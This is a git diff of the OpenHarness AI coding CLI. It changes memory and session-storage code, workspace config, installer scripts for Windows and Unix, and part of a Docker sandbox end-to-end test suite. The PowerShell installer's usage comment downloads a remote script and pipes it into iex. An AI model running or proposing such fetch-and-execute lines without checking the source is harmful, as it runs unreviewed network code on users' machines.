@@ -67,3 +174,46 @@ def load_memory_prompt(workspace: str | Path | None = None, *, max_files: int =
lines.extend(["", f"## {path.name}", "```md", content[:4000], "```"])
return "\n".join(lines)
def create_memory_command_backend(workspace: str | Path | None = None) -> MemoryCommandBackend:
"""Return a ``/memory`` backend bound to ohmo's personal memory store."""
return MemoryCommandBackend(
label="ohmo personal memory",
default_type="personal",
default_category="preference",
get_memory_dir=lambda: get_memory_dir(workspace),
get_entrypoint=lambda: get_memory_index_path(workspace),
list_files=lambda: list_memory_files(workspace),
add_entry=lambda title, content: add_memory_entry(workspace, title, content),
remove_entry=lambda name: remove_memory_entry(workspace, name),
)
def _scan_cwd(workspace: str | Path | None, memory_dir: Path) -> Path:
return Path(workspace) if workspace is not None else memory_dir.parent
def _next_memory_path(memory_dir: Path, slug: str) -> Path:
path = memory_dir / f"{slug}.md"
if not path.exists():
return path
index = 2
while True:
candidate = memory_dir / f"{slug}_{index}.md"
if not candidate.exists():
return candidate
index += 1
def _effective_signature(path: Path, existing_signature: str) -> str:
if existing_signature:
return existing_signature
try:
metadata, body, _, _ = split_memory_file(path.read_text(encoding="utf-8"))
except OSError:
return ""
memory_type = str(metadata.get("type") or "personal")
category = str(metadata.get("category") or "preference")
return compute_memory_signature(body, memory_type, category)
+23 -2
View File
@@ -14,9 +14,10 @@ from openharness.ui.backend_host import run_backend_host
from openharness.ui.runtime import build_runtime, close_runtime, handle_line, start_runtime
from openharness.ui.react_launcher import _resolve_npm, _resolve_tsx, get_frontend_dir
from ohmo.memory import create_memory_command_backend
from ohmo.prompts import build_ohmo_system_prompt
from ohmo.session_storage import OhmoSessionBackend
from ohmo.workspace import get_plugins_dir, get_skills_dir, initialize_workspace
from ohmo.workspace import get_memory_dir, get_plugins_dir, get_sessions_dir, get_skills_dir, initialize_workspace
def _ohmo_extra_roots(workspace: str | Path | None) -> tuple[tuple[str, ...], tuple[str, ...]]:
@@ -54,6 +55,14 @@ async def run_ohmo_backend(
session_backend=OhmoSessionBackend(workspace_root),
extra_skill_dirs=extra_skill_dirs,
extra_plugin_roots=extra_plugin_roots,
memory_backend=create_memory_command_backend(workspace_root),
include_project_memory=False,
autodream_context={
"memory_dir": str(get_memory_dir(workspace_root)),
"session_dir": str(get_sessions_dir(workspace_root)),
"app_label": "ohmo personal memory",
"runner_module": "ohmo",
},
)
@@ -160,13 +169,24 @@ async def run_ohmo_print_mode(
enforce_max_turns=max_turns is not None,
extra_skill_dirs=extra_skill_dirs,
extra_plugin_roots=extra_plugin_roots,
memory_backend=create_memory_command_backend(workspace_root),
include_project_memory=False,
autodream_context={
"memory_dir": str(get_memory_dir(workspace_root)),
"session_dir": str(get_sessions_dir(workspace_root)),
"app_label": "ohmo personal memory",
"runner_module": "ohmo",
},
)
await start_runtime(bundle)
async def _print_system(message: str) -> None:
print(message, file=sys.stderr)
saw_error = False
async def _render_event(event) -> None:
nonlocal saw_error
if isinstance(event, AssistantTextDelta):
sys.stdout.write(event.text)
sys.stdout.flush()
@@ -174,6 +194,7 @@ async def run_ohmo_print_mode(
sys.stdout.write("\n")
sys.stdout.flush()
elif isinstance(event, ErrorEvent):
saw_error = True
print(event.message, file=sys.stderr)
elif isinstance(event, CompactProgressEvent):
if event.message:
@@ -192,6 +213,6 @@ async def run_ohmo_print_mode(
clear_output=_clear_output,
)
await close_runtime(bundle)
return 0
return 1 if saw_error else 0
finally:
os.chdir(previous_cwd)
+14 -9
View File
@@ -10,9 +10,13 @@ from typing import Any
from uuid import uuid4
from openharness.api.usage import UsageSnapshot
from openharness.engine.messages import ConversationMessage
from openharness.engine.messages import ConversationMessage, sanitize_conversation_messages
from openharness.services.session_backend import SessionBackend
from openharness.services.session_storage import _persistable_tool_metadata
from openharness.services.session_storage import (
_persistable_tool_metadata,
_sanitize_snapshot_payload,
)
from openharness.utils.fs import atomic_write_text
from ohmo.workspace import get_sessions_dir
@@ -50,6 +54,7 @@ def save_session_snapshot(
session_dir = get_session_dir(workspace)
sid = session_id or uuid4().hex[:12]
now = time.time()
messages = sanitize_conversation_messages(messages)
summary = ""
for msg in messages:
if msg.role == "user" and msg.text.strip():
@@ -72,11 +77,11 @@ def save_session_snapshot(
}
data = json.dumps(payload, indent=2) + "\n"
latest_path = session_dir / "latest.json"
latest_path.write_text(data, encoding="utf-8")
atomic_write_text(latest_path, data)
if session_key:
_session_key_latest_path(workspace, session_key).write_text(data, encoding="utf-8")
atomic_write_text(_session_key_latest_path(workspace, session_key), data)
session_path = session_dir / f"session-{sid}.json"
session_path.write_text(data, encoding="utf-8")
atomic_write_text(session_path, data)
return latest_path
@@ -84,13 +89,13 @@ def load_latest(workspace: str | Path | None = None) -> dict[str, Any] | None:
path = get_session_dir(workspace) / "latest.json"
if not path.exists():
return None
return json.loads(path.read_text(encoding="utf-8"))
return _sanitize_snapshot_payload(json.loads(path.read_text(encoding="utf-8")))
def load_latest_for_session_key(workspace: str | Path | None, session_key: str) -> dict[str, Any] | None:
path = _session_key_latest_path(workspace, session_key)
if path.exists():
return json.loads(path.read_text(encoding="utf-8"))
return _sanitize_snapshot_payload(json.loads(path.read_text(encoding="utf-8")))
return None
@@ -119,7 +124,7 @@ def list_snapshots(workspace: str | Path | None = None, limit: int = 20) -> list
def load_by_id(workspace: str | Path | None, session_id: str) -> dict[str, Any] | None:
path = get_session_dir(workspace) / f"session-{session_id}.json"
if path.exists():
return json.loads(path.read_text(encoding="utf-8"))
return _sanitize_snapshot_payload(json.loads(path.read_text(encoding="utf-8")))
latest = load_latest(workspace)
if latest and (latest.get("session_id") == session_id or session_id == "latest"):
return latest
@@ -139,7 +144,7 @@ def export_session_markdown(
text = message.text.strip()
if text:
parts.append(text)
path.write_text("\n".join(parts).strip() + "\n", encoding="utf-8")
atomic_write_text(path, "\n".join(parts).strip() + "\n")
return path
+8
View File
@@ -203,6 +203,10 @@ def get_plugins_dir(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "plugins"
def get_groups_dir(workspace: str | Path | None = None) -> Path:
return get_workspace_root(workspace) / "groups"
def get_memory_index_path(workspace: str | Path | None = None) -> Path:
return get_memory_dir(workspace) / "MEMORY.md"
@@ -238,6 +242,7 @@ def ensure_workspace(workspace: str | Path | None = None) -> Path:
get_memory_dir(root).mkdir(parents=True, exist_ok=True)
get_skills_dir(root).mkdir(parents=True, exist_ok=True)
get_plugins_dir(root).mkdir(parents=True, exist_ok=True)
get_groups_dir(root).mkdir(parents=True, exist_ok=True)
get_sessions_dir(root).mkdir(parents=True, exist_ok=True)
get_logs_dir(root).mkdir(parents=True, exist_ok=True)
get_attachments_dir(root).mkdir(parents=True, exist_ok=True)
@@ -283,6 +288,8 @@ def initialize_workspace(workspace: str | Path | None = None) -> Path:
"send_tool_hints": True,
"permission_mode": "default",
"sandbox_enabled": False,
"allow_remote_admin_commands": False,
"allowed_remote_admin_commands": [],
"log_level": "INFO",
"channel_configs": {},
},
@@ -305,6 +312,7 @@ def workspace_health(workspace: str | Path | None = None) -> dict[str, bool]:
"memory_dir": get_memory_dir(root).exists(),
"skills_dir": get_skills_dir(root).exists(),
"plugins_dir": get_plugins_dir(root).exists(),
"groups_dir": get_groups_dir(root).exists(),
"memory_index": get_memory_index_path(root).exists(),
"sessions_dir": get_sessions_dir(root).exists(),
"gateway_config": get_gateway_config_path(root).exists(),
+2 -1
View File
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
[project]
name = "openharness-ai"
version = "0.1.6"
version = "0.1.9"
description = "Open-source Python port of Claude Code - an AI-powered CLI coding assistant"
readme = "README.md"
license = "MIT"
@@ -48,6 +48,7 @@ dev = [
[project.scripts]
openharness = "openharness.cli:app"
oh = "openharness.cli:app"
openh = "openharness.cli:app"
ohmo = "ohmo.cli:app"
[tool.hatch.build.targets.wheel]
+329
View File
@@ -0,0 +1,329 @@
# OpenHarness Windows Installer (PowerShell)
# Usage: iex (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/HKUDS/OpenHarness/main/scripts/install.ps1')
# or: powershell -ExecutionPolicy Bypass -File scripts/install.ps1
param(
[switch]$FromSource,
[switch]$WithChannels,
[switch]$Help
)
# ---------------------------------------------------------------------------
# Helper functions
# ---------------------------------------------------------------------------
function Write-Info { Write-Host "[INFO] $args" -ForegroundColor Cyan }
function Write-Success { Write-Host "[OK] $args" -ForegroundColor Green }
function Write-Warn { Write-Host "[WARN] $args" -ForegroundColor Yellow }
function Write-Error { Write-Host "[ERROR] $args" -ForegroundColor Red }
function Write-Step { Write-Host ""; Write-Host "==>$args" -ForegroundColor Blue -BackgroundColor White }
# ---------------------------------------------------------------------------
# Banner
# ---------------------------------------------------------------------------
Write-Host ""
Write-Host " ==============================" -ForegroundColor Cyan
Write-Host " OpenHarness Installer" -ForegroundColor Cyan
Write-Host " Windows Native Setup" -ForegroundColor Cyan
Write-Host " ==============================" -ForegroundColor Cyan
Write-Host ""
# ---------------------------------------------------------------------------
# Parse arguments
# ---------------------------------------------------------------------------
if ($Help) {
Write-Host "Usage: .\install.ps1 [-FromSource] [-WithChannels]"
Write-Host ""
Write-Host " -FromSource Clone from GitHub and install in editable mode"
Write-Host " -WithChannels Deprecated compatibility flag (dependencies installed by default)"
exit 0
}
if ($WithChannels) {
Write-Warn "-WithChannels is no longer required; common IM channel dependencies are installed by default."
}
# ---------------------------------------------------------------------------
# Step 1: Check PowerShell version
# ---------------------------------------------------------------------------
Write-Step "Checking PowerShell version"
if ($PSVersionTable.PSVersion.Major -lt 5) {
Write-Error "PowerShell 5.1 or newer is required."
Write-Host " Please upgrade PowerShell or use PowerShell Core (pwsh):"
Write-Host " https://github.com/PowerShell/PowerShell"
exit 1
}
Write-Success "PowerShell $($PSVersionTable.PSVersion) detected"
# ---------------------------------------------------------------------------
# Step 2: Check Python 3.10+
# ---------------------------------------------------------------------------
Write-Step "Checking Python version (3.10+ required)"
$PythonCmd = $null
$PythonCommands = @("python", "python3", "py")
foreach ($cmd in $PythonCommands) {
$pyPath = Get-Command $cmd -ErrorAction SilentlyContinue
if ($pyPath) {
$versionOutput = & $cmd --version 2>&1
$versionMatch = $versionOutput -match "Python (\d+)\.(\d+)"
if ($versionMatch) {
$major = [int]$matches[1]
$minor = [int]$matches[2]
if ($major -ge 3 -and $minor -ge 10) {
$PythonCmd = $cmd
break
} elseif ($major -eq 3 -and $minor -lt 10) {
Write-Warn "Python $major.$minor found but version 3.10+ is required"
}
}
}
}
if (-not $PythonCmd) {
Write-Error "Python 3.10+ not found."
Write-Host ""
Write-Host " Please install Python 3.10 or newer:"
Write-Host " Download from: https://www.python.org/downloads/"
Write-Host " Or use winget: winget install Python.Python.3.12"
Write-Host ""
exit 1
}
$PyVersion = & $PythonCmd --version 2>&1
Write-Success "Found $PyVersion ($PythonCmd)"
# ---------------------------------------------------------------------------
# Step 3: Check Node.js >= 18 (optional)
# ---------------------------------------------------------------------------
Write-Step "Checking Node.js version (>= 18 required for React TUI)"
$NodeOk = $false
$NodePath = Get-Command node -ErrorAction SilentlyContinue
if ($NodePath) {
$NodeVersionOutput = & node --version 2>&1
$NodeVersionMatch = $NodeVersionOutput -match "v(\d+)"
if ($NodeVersionMatch) {
$NodeMajor = [int]$matches[1]
if ($NodeMajor -ge 18) {
$NodeOk = $true
Write-Success "Found Node.js $NodeVersionOutput"
} else {
Write-Warn "Node.js $NodeVersionOutput is too old (need >= 18). React TUI will be skipped."
}
}
} else {
Write-Warn "Node.js not found. React TUI will be skipped."
Write-Host " To enable the React terminal UI, install Node.js 18+:"
Write-Host " Download from: https://nodejs.org/"
Write-Host " Or use winget: winget install OpenJS.NodeJS.LTS"
}
# ---------------------------------------------------------------------------
# Step 4: Install OpenHarness
# ---------------------------------------------------------------------------
Write-Step "Installing OpenHarness"
$RepoUrl = "https://github.com/HKUDS/OpenHarness.git"
$InstallDir = "$env:USERPROFILE\.openharness-src"
$VenvDir = "$env:USERPROFILE\.openharness-venv"
# Create virtual environment
if (Test-Path $VenvDir) {
Write-Info "Virtual environment already exists at $VenvDir"
} else {
Write-Info "Creating virtual environment at $VenvDir..."
& $PythonCmd -m venv $VenvDir
if (-not (Test-Path $VenvDir)) {
Write-Error "Failed to create virtual environment"
exit 1
}
}
# Activate the venv
$ActivateScript = "$VenvDir\Scripts\Activate.ps1"
if (-not (Test-Path $ActivateScript)) {
Write-Error "Virtual environment activation script not found: $ActivateScript"
exit 1
}
Write-Info "Activating virtual environment..."
& $ActivateScript
Write-Success "Virtual environment ready: $VenvDir"
# Install OpenHarness
if ($FromSource) {
Write-Info "Mode: -FromSource (git clone + pip install -e .)"
$GitPath = Get-Command git -ErrorAction SilentlyContinue
if (-not $GitPath) {
Write-Error "git is required for -FromSource installation."
Write-Host " Install git and retry:"
Write-Host " winget install Git.Git"
Write-Host " Or download from: https://git-scm.com/download/win"
exit 1
}
if (Test-Path "$InstallDir\.git") {
Write-Info "Source directory exists, pulling latest changes..."
Push-Location $InstallDir
git pull --ff-only
Pop-Location
} else {
Write-Info "Cloning OpenHarness into $InstallDir..."
git clone $RepoUrl $InstallDir
if (-not (Test-Path $InstallDir)) {
Write-Error "Failed to clone repository"
exit 1
}
}
Write-Info "Installing in editable mode (pip install -e .)..."
pip install -e $InstallDir --quiet
} else {
Write-Info "Mode: pip install openharness-ai"
pip install openharness-ai --quiet --upgrade
}
Write-Success "OpenHarness package installed"
# ---------------------------------------------------------------------------
# Step 5: Install frontend/terminal npm dependencies
# ---------------------------------------------------------------------------
if ($NodeOk) {
if ($FromSource) {
$FrontendDir = "$InstallDir\frontend\terminal"
} else {
# Find installed package location
$PackageInfo = pip show openharness-ai 2>&1
$LocationMatch = $PackageInfo -match "Location: (.+)"
if ($LocationMatch) {
$PackageLocation = $matches[1].Trim()
$FrontendDir = "$PackageLocation\openharness\_frontend"
} else {
$FrontendDir = $null
}
}
if ($FrontendDir -and (Test-Path "$FrontendDir\package.json")) {
Write-Step "Installing React TUI dependencies"
Write-Info "Running npm install in $FrontendDir..."
Push-Location $FrontendDir
npm install --no-fund --no-audit --silent 2>&1 | Out-Null
Pop-Location
Write-Success "React TUI dependencies installed"
} else {
Write-Info "No frontend/terminal directory found - skipping npm install"
}
}
# ---------------------------------------------------------------------------
# Step 6: Create OpenHarness config directory
# ---------------------------------------------------------------------------
Write-Step "Setting up OpenHarness config directory"
$ConfigDir = "$env:USERPROFILE\.openharness"
$SkillsDir = "$ConfigDir\skills"
$PluginsDir = "$ConfigDir\plugins"
New-Item -ItemType Directory -Force -Path $ConfigDir | Out-Null
New-Item -ItemType Directory -Force -Path $SkillsDir | Out-Null
New-Item -ItemType Directory -Force -Path $PluginsDir | Out-Null
Write-Success "Config directory ready: ~/.openharness/"
# ---------------------------------------------------------------------------
# Step 7: Add to PATH (Windows environment variable)
# ---------------------------------------------------------------------------
Write-Step "Setting up PATH integration"
$VenvBinDir = "$VenvDir\Scripts"
$CurrentPath = [Environment]::GetEnvironmentVariable("PATH", "User")
if ($CurrentPath -like "*$VenvBinDir*") {
Write-Info "PATH already contains $VenvBinDir"
} else {
Write-Info "Adding $VenvBinDir to user PATH..."
$NewPath = "$VenvBinDir;$CurrentPath"
[Environment]::SetEnvironmentVariable("PATH", $NewPath, "User")
Write-Success "Added $VenvBinDir to PATH"
Write-Warn "You may need to restart your terminal or log out/log in for PATH changes to take effect."
}
# ---------------------------------------------------------------------------
# Step 8: Verify installation
# ---------------------------------------------------------------------------
Write-Step "Verifying installation"
$OhPath = "$VenvBinDir\oh.exe"
$OpenhPath = "$VenvBinDir\openh.exe"
$OpenharnessPath = "$VenvBinDir\openharness.exe"
$OhmoPath = "$VenvBinDir\ohmo.exe"
# Pick the best available launcher. The 'openh' alias was added after v0.1.6,
# so PyPI installs of older releases won't have openh.exe. Prefer it when
# present, otherwise fall back to 'openharness', then 'oh' (which collides
# with PowerShell's Out-Host alias unless invoked as oh.exe).
$Launcher = $null
$LauncherExe = $null
if (Test-Path $OpenhPath) {
$Launcher = "openh"
$LauncherExe = $OpenhPath
} elseif (Test-Path $OpenharnessPath) {
$Launcher = "openharness"
$LauncherExe = $OpenharnessPath
} elseif (Test-Path $OhPath) {
$Launcher = "oh"
$LauncherExe = $OhPath
}
if ($LauncherExe -and (Test-Path $OhmoPath)) {
$OhVersion = & $LauncherExe --version 2>&1
Write-Success "Installation successful!"
Write-Host ""
Write-Host " $Launcher is ready: $OhVersion" -ForegroundColor Green
if ($Launcher -eq "oh") {
Write-Host " Note: 'oh' collides with PowerShell's built-in Out-Host alias." -ForegroundColor Yellow
Write-Host " Invoke it as 'oh.exe', or use 'openharness' instead." -ForegroundColor Yellow
} elseif (Test-Path $OhPath) {
Write-Host " 'oh' is also installed, but PowerShell may resolve it to Out-Host first." -ForegroundColor Yellow
}
Write-Host " ohmo is ready" -ForegroundColor Green
} else {
# Try module execution
$ModuleVersion = python -m openharness --version 2>&1
if ($ModuleVersion) {
Write-Warn "Launcher commands not yet available on PATH. Run via: python -m openharness"
Write-Host " Version: $ModuleVersion"
} else {
Write-Warn "Could not verify launcher commands. The package may need a PATH update."
Write-Host " Try: python -m openharness --version"
}
}
# ---------------------------------------------------------------------------
# Done
# ---------------------------------------------------------------------------
Write-Host ""
Write-Host "OpenHarness is installed!" -ForegroundColor Green -BackgroundColor White
Write-Host ""
Write-Host " Next steps:"
Write-Host " 1. Restart terminal, or run: refreshenv (if using Chocolatey)"
Write-Host " Or manually refresh: `$env:PATH = [System.Environment]::GetEnvironmentVariable('PATH','User')"
Write-Host " 2. Set your API key: `$env:ANTHROPIC_API_KEY = 'your_key'"
if ($Launcher -eq "openharness") {
Write-Host " 3. Launch (PowerShell): openharness"
Write-Host " ('openh' is not available on this release; 'oh' collides with PowerShell's Out-Host alias.)"
} elseif ($Launcher -eq "oh") {
Write-Host " 3. Launch (PowerShell): oh.exe"
Write-Host " ('oh' alone collides with PowerShell's Out-Host alias — use 'oh.exe' or 'openharness'.)"
} else {
Write-Host " 3. Launch (PowerShell): openh"
Write-Host " Note: 'oh' may collide with the built-in Out-Host alias in PowerShell."
}
Write-Host " 4. Launch ohmo: ohmo"
Write-Host " 5. Docs: https://github.com/HKUDS/OpenHarness"
Write-Host ""
+32 -16
View File
@@ -186,6 +186,7 @@ step "Installing OpenHarness"
REPO_URL="https://github.com/HKUDS/OpenHarness.git"
INSTALL_DIR="$HOME/.openharness-src"
VENV_DIR="$HOME/.openharness-venv"
BIN_DIR="$HOME/.local/bin"
# ---------------------------------------------------------------------------
# Create a virtual environment to avoid PEP 668 externally-managed errors
@@ -277,40 +278,51 @@ mkdir -p "$HOME/.openharness/plugins"
success "Config directory ready: ~/.openharness/"
# ---------------------------------------------------------------------------
# Step 8: Verify installation
# Step 8: Register global commands
# ---------------------------------------------------------------------------
step "Registering global commands"
mkdir -p "$BIN_DIR"
ln -snf "$VENV_DIR/bin/oh" "$BIN_DIR/oh"
ln -snf "$VENV_DIR/bin/ohmo" "$BIN_DIR/ohmo"
ln -snf "$VENV_DIR/bin/openharness" "$BIN_DIR/openharness"
success "Linked oh/ohmo into ${BIN_DIR}"
# ---------------------------------------------------------------------------
# Step 9: Verify installation
# ---------------------------------------------------------------------------
step "Verifying installation"
if command -v oh &>/dev/null && command -v ohmo &>/dev/null; then
OH_VERSION=$(oh --version 2>&1 || echo "(version check failed)")
OHMO_VERSION=$(ohmo --help >/dev/null 2>&1 && echo "available" || echo "not available")
if [ -x "$BIN_DIR/oh" ] && [ -x "$BIN_DIR/ohmo" ]; then
OH_VERSION=$("$BIN_DIR/oh" --version 2>&1 || echo "(version check failed)")
OHMO_VERSION=$("$BIN_DIR/ohmo" --help >/dev/null 2>&1 && echo "available" || echo "not available")
success "Installation successful!"
echo ""
echo -e " ${BOLD}oh${RESET} is ready: ${GREEN}${OH_VERSION}${RESET}"
echo -e " ${BOLD}ohmo${RESET} is ready: ${GREEN}${OHMO_VERSION}${RESET}"
elif "$PYTHON_CMD" -m openharness --version &>/dev/null 2>&1; then
OH_VERSION=$("$PYTHON_CMD" -m openharness --version 2>&1)
warn "'oh'/'ohmo' not in PATH. Run via: python -m openharness or python -m ohmo"
warn "'oh'/'ohmo' command links are not executable yet. Run via: python -m openharness or python -m ohmo"
echo " Version: ${OH_VERSION}"
echo " To add them to PATH, ensure ${VENV_DIR}/bin is in PATH:"
echo " export PATH=\"${VENV_DIR}/bin:\$PATH\""
echo " To add them to PATH, ensure ${BIN_DIR} is in PATH:"
echo " export PATH=\"${BIN_DIR}:\$PATH\""
else
warn "Could not verify 'oh'/'ohmo' commands. The package may need a PATH update."
echo " Try: $PYTHON_CMD -m openharness --version"
echo " Or add ${VENV_DIR}/bin to PATH and restart your shell."
echo " Or add ${BIN_DIR} to PATH and restart your shell."
fi
# ---------------------------------------------------------------------------
# Step 9: Add venv activation to shell profile
# Step 10: Add command directory to shell profile
# ---------------------------------------------------------------------------
step "Setting up shell integration"
ACTIVATION_LINE="export PATH=\"$VENV_DIR/bin:\$PATH\""
ACTIVATION_LINE="export PATH=\"$BIN_DIR:\$PATH\""
FISH_CONFIG="$HOME/.config/fish/config.fish"
FISH_BLOCK=$(cat <<EOF
# OpenHarness
if not contains -- "$VENV_DIR/bin" \$PATH
set -gx PATH "$VENV_DIR/bin" \$PATH
if not contains -- "$BIN_DIR" \$PATH
set -gx PATH "$BIN_DIR" \$PATH
end
EOF
)
@@ -322,7 +334,7 @@ append_shell_path() {
if [ ! -f "$rc_file" ]; then
return
fi
if grep -q "$VENV_DIR/bin" "$rc_file" 2>/dev/null; then
if grep -q "$BIN_DIR" "$rc_file" 2>/dev/null; then
info "PATH already configured in $(basename "$rc_file")"
configured_any=true
return
@@ -330,7 +342,7 @@ append_shell_path() {
echo "" >> "$rc_file"
echo "# OpenHarness" >> "$rc_file"
echo "$ACTIVATION_LINE" >> "$rc_file"
success "Added $VENV_DIR/bin to PATH in $(basename "$rc_file")"
success "Added $BIN_DIR to PATH in $(basename "$rc_file")"
configured_any=true
}
@@ -339,13 +351,13 @@ append_shell_path "$HOME/.bashrc"
append_shell_path "$HOME/.bash_profile"
mkdir -p "$(dirname "$FISH_CONFIG")"
if [ -f "$FISH_CONFIG" ] && grep -q "$VENV_DIR/bin" "$FISH_CONFIG" 2>/dev/null; then
if [ -f "$FISH_CONFIG" ] && grep -q "$BIN_DIR" "$FISH_CONFIG" 2>/dev/null; then
info "PATH already configured in $(basename "$FISH_CONFIG")"
configured_any=true
else
echo "" >> "$FISH_CONFIG"
printf "%s\n" "$FISH_BLOCK" >> "$FISH_CONFIG"
success "Added $VENV_DIR/bin to PATH in $(basename "$FISH_CONFIG")"
success "Added $BIN_DIR to PATH in $(basename "$FISH_CONFIG")"
configured_any=true
fi
@@ -369,3 +381,7 @@ echo " 3. Launch: oh"
echo " 4. Launch ohmo: ohmo"
echo " 5. Docs: https://github.com/HKUDS/OpenHarness"
echo ""
echo " Notes:"
echo " - Commands are linked into: ${BIN_DIR}"
echo " - The virtual environment remains at: ${VENV_DIR}"
echo ""
+14
View File
@@ -0,0 +1,14 @@
"""Run the OpenHarness memory schema migration from a source checkout."""
from __future__ import annotations
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parents[1] / "src"))
from openharness.memory.migrate import main
if __name__ == "__main__":
raise SystemExit(main())
+654
View File
@@ -0,0 +1,654 @@
#!/usr/bin/env python3
"""End-to-end tests for the Docker sandbox backend.
These tests require a running Docker daemon. They exercise the full container
lifecycle: image build, container start, command execution, file isolation,
network isolation, resource limits, and cleanup.
Run directly:
python3 scripts/test_docker_sandbox_e2e.py
Or via pytest (skipped automatically when Docker is unavailable):
uv run pytest scripts/test_docker_sandbox_e2e.py -v
"""
from __future__ import annotations
import asyncio
import shutil
import subprocess
import sys
import tempfile
from pathlib import Path
import pytest
# ---------------------------------------------------------------------------
# Bootstrap: ensure the src package is importable when run as a script
# ---------------------------------------------------------------------------
sys.path.insert(0, str(Path(__file__).resolve().parents[1] / "src"))
from openharness.config.settings import (
DockerSandboxSettings,
SandboxNetworkSettings,
SandboxSettings,
Settings,
)
from openharness.sandbox.docker_backend import DockerSandboxSession, get_docker_availability
from openharness.sandbox.docker_image import ensure_image_available
# ---------------------------------------------------------------------------
# Skip condition: Docker daemon must be reachable
# ---------------------------------------------------------------------------
_DOCKER = shutil.which("docker")
_DOCKER_OK = False
if _DOCKER:
try:
subprocess.run([_DOCKER, "info"], capture_output=True, timeout=10, check=True)
_DOCKER_OK = True
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, OSError):
pass
_SKIP_REASON = "Docker daemon is not available"
_E2E_IMAGE = "openharness-sandbox-e2e:latest"
pytestmark = pytest.mark.skipif(not _DOCKER_OK, reason=_SKIP_REASON)
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def _settings(*, network_domains: list[str] | None = None, **docker_kw) -> Settings:
"""Build a Settings object with Docker sandbox enabled."""
return Settings(
sandbox=SandboxSettings(
enabled=True,
backend="docker",
fail_if_unavailable=True,
network=SandboxNetworkSettings(
allowed_domains=network_domains or [],
),
docker=DockerSandboxSettings(
image=_E2E_IMAGE,
auto_build_image=True,
**docker_kw,
),
)
)
async def _run_and_capture(session: DockerSandboxSession, argv: list[str], cwd: Path) -> tuple[int, str, str]:
"""Run a command inside the sandbox and return (returncode, stdout, stderr)."""
proc = await session.exec_command(
argv,
cwd=cwd,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
stdout, stderr = await proc.communicate()
return (
proc.returncode or 0,
stdout.decode("utf-8", errors="replace").strip(),
stderr.decode("utf-8", errors="replace").strip(),
)
# ---------------------------------------------------------------------------
# Fixtures
# ---------------------------------------------------------------------------
@pytest.fixture(scope="module")
def e2e_image():
"""Ensure the E2E sandbox image exists (built once per module)."""
ok = asyncio.run(ensure_image_available(_E2E_IMAGE, auto_build=True))
if not ok:
pytest.skip(f"Could not build Docker image {_E2E_IMAGE}")
return _E2E_IMAGE
@pytest.fixture()
def project_dir():
"""Create a temporary project directory for one test."""
with tempfile.TemporaryDirectory(prefix="oh-docker-e2e-") as tmpdir:
yield Path(tmpdir)
# ---------------------------------------------------------------------------
# 1. Image management
# ---------------------------------------------------------------------------
class TestImageManagement:
def test_image_build(self, e2e_image):
"""Image should be available after the module fixture runs."""
result = subprocess.run(
[_DOCKER, "image", "inspect", e2e_image],
capture_output=True,
)
assert result.returncode == 0, "E2E image should exist after build"
def test_image_has_expected_tools(self, e2e_image):
"""Image should contain bash, rg (ripgrep), and git."""
for tool in ("bash", "rg", "git"):
result = subprocess.run(
[_DOCKER, "run", "--rm", e2e_image, "which", tool],
capture_output=True,
)
assert result.returncode == 0, f"{tool} should be available in the image"
# ---------------------------------------------------------------------------
# 2. Container lifecycle
# ---------------------------------------------------------------------------
class TestContainerLifecycle:
def test_start_and_stop(self, e2e_image, project_dir):
"""Container should start, appear in docker ps, then stop cleanly."""
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-lifecycle", cwd=project_dir,
)
async def _run():
await session.start()
assert session.is_running
# Verify container is visible
result = subprocess.run(
[_DOCKER, "ps", "--filter", f"name={session.container_name}", "-q"],
capture_output=True,
text=True,
)
assert result.stdout.strip(), "Container should appear in docker ps"
await session.stop()
assert not session.is_running
# Verify container is gone (--rm flag auto-removes)
result = subprocess.run(
[_DOCKER, "ps", "-a", "--filter", f"name={session.container_name}", "-q"],
capture_output=True,
text=True,
)
assert not result.stdout.strip(), "Container should be removed after stop"
asyncio.run(_run())
def test_stop_sync(self, e2e_image, project_dir):
"""Synchronous stop (atexit handler) should also clean up."""
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-stopsync", cwd=project_dir,
)
async def _start():
await session.start()
asyncio.run(_start())
assert session.is_running
session.stop_sync()
assert not session.is_running
def test_availability_check(self):
"""get_docker_availability should return available=True when Docker is running."""
settings = _settings()
avail = get_docker_availability(settings)
assert avail.enabled is True
assert avail.available is True
assert avail.command is not None
# ---------------------------------------------------------------------------
# 3. Command execution
# ---------------------------------------------------------------------------
class TestCommandExecution:
def test_echo(self, e2e_image, project_dir):
"""Basic command should execute and return output."""
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-echo", cwd=project_dir,
)
async def _run():
await session.start()
try:
rc, stdout, stderr = await _run_and_capture(
session, ["echo", "hello-from-sandbox"], project_dir,
)
assert rc == 0
assert "hello-from-sandbox" in stdout
finally:
await session.stop()
asyncio.run(_run())
def test_exit_code_preserved(self, e2e_image, project_dir):
"""Non-zero exit codes should propagate correctly."""
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-exitcode", cwd=project_dir,
)
async def _run():
await session.start()
try:
rc, _, _ = await _run_and_capture(
session, ["bash", "-c", "exit 42"], project_dir,
)
assert rc == 42
finally:
await session.stop()
asyncio.run(_run())
def test_env_vars_passed(self, e2e_image, project_dir):
"""Environment variables should be forwarded into the container."""
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-env", cwd=project_dir,
)
async def _run():
await session.start()
try:
rc, stdout, _ = await _run_and_capture(
session,
["bash", "-c", "echo $MY_TEST_VAR"],
project_dir,
)
# env passed through exec_command
proc = await session.exec_command(
["bash", "-c", "echo $MY_TEST_VAR"],
cwd=project_dir,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
env={"MY_TEST_VAR": "sandbox-value"},
)
out, _ = await proc.communicate()
assert "sandbox-value" in out.decode()
finally:
await session.stop()
asyncio.run(_run())
def test_working_directory(self, e2e_image, project_dir):
"""Commands should run in the specified working directory."""
settings = _settings()
session = DockerSandboxSession(
settings=settings, session_id="e2e-cwd", cwd=project_dir,
)
async def _run():
await session.start()
try:
